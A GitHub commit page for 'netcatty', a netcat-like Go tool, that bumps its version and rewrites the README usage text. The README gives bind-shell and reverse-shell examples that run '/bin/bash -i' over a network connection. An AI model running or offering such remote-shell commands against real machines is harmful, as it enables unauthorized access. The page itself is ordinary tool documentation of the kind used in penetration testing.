Skip to content

Commit 43fb9e5

Browse files
committed
Updated version and readme
1 parent 9c33a91 commit 43fb9e5

File tree

2 files changed

+39
-16
lines changed

2 files changed

+39
-16
lines changed

README.md

Lines changed: 38 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -71,15 +71,15 @@ If you're short on ideas for payloads, check the following:
7171

7272
### Bind shell
7373

74-
Target machine (with IP 192.168.1.1): `nc -e "/bin/bash -i" -lp 4444`
74+
Target machine (with IP 192.168.1.1): `netcatty -e "/bin/bash -i" -lp 4444`
7575

76-
Your terminal: `./netcatty -a 192.168.1.1:4444`
76+
Your terminal: `netcatty 192.168.1.1 4444`
7777

7878
### Reverse shell
7979

80-
Target machine: `nc -e "/bin/bash -i" 192.168.1.100 4444`
80+
Target machine: `netcatty -e "/bin/bash -i" 192.168.1.100 4444`
8181

82-
Your terminal (with IP 192.168.1.100): `./netcatty -l :4444`
82+
Your terminal (with IP 192.168.1.100): `netcatty -lp 4444`
8383

8484
## Installation
8585

@@ -103,17 +103,40 @@ gox -output "dist/{{.Dir}}_{{.OS}}_{{.Arch}}"
103103
## Usage
104104

105105
```
106-
Usage of ./netcatty:
107-
-a string
108-
Listen/Connect address in the form of 'ip:port'.
109-
Domains, IPv6 as ip and Service as port ('localhost:http') also work. (default ":4444")
110-
-l Enable listening mode
111-
-m Disable automatic shell detection and TTY spawn on remote
112-
-n string
113-
Network type to use. Known networks are:
114-
To connect: tcp, tcp4 (IPv4-only), tcp6 (IPv6-only), unix and unixpacket
115-
To listen: tcp, tcp4, tcp6, unix or unixpacket
116-
(default "tcp")
106+
Usage:
107+
netcatty [OPTIONS] [hostname] [port]
108+
109+
Application Options:
110+
-l, --listen Listen mode, for inbound connects
111+
-p, --local-port= Local port number
112+
-r, --randomize Randomize local and remote ports
113+
-s, --source= Local source address (ip or hostname)
114+
-T, --telnet answer using TELNET negotiation
115+
-v, --verbose -- Not effective, backwards compatibility
116+
-V, --version Output version information and exit
117+
118+
Service:
119+
-P, --protocol= Provide protocol in the form of
120+
tcp{,4,6}|udp{,4,6}|unix{,gram,packet}|ip{,4,6}[:<protocol-number>|:<protocol-name>]
121+
For <protocol-number> check
122+
https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml
123+
-t, --tcp TCP mode (default)
124+
-u, --udp UDP mode
125+
126+
InOut:
127+
-e, --exec= Program to exec after connect
128+
-i, --interval= Delay interval for data sent, ports scanned
129+
-L, --tunnel= Forward local port to remote address
130+
-o, --output= Output hexdump traffic to FILE (implies -x)
131+
-x, --hexdump Hexdump incoming and outgoing traffic
132+
-z, --zero Zero-I/O mode (used for scanning)
133+
134+
Action:
135+
-D, --detect Detect remote shell automatically and try to raise a TTY on the remote
136+
-R, --auto-raw Put local TTY in Raw mode on connect (action)
137+
138+
Help Options:
139+
-h, --help Show this help message
117140
```
118141

119142
---

main.go

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@ import (
1515
"github.com/mingrammer/cfmt"
1616
)
1717

18-
var Version = "1.0.0"
18+
var Version = "1.1.0"
1919

2020
func handleErr(err error) {
2121
if err != nil {

0 commit comments

Comments
 (0)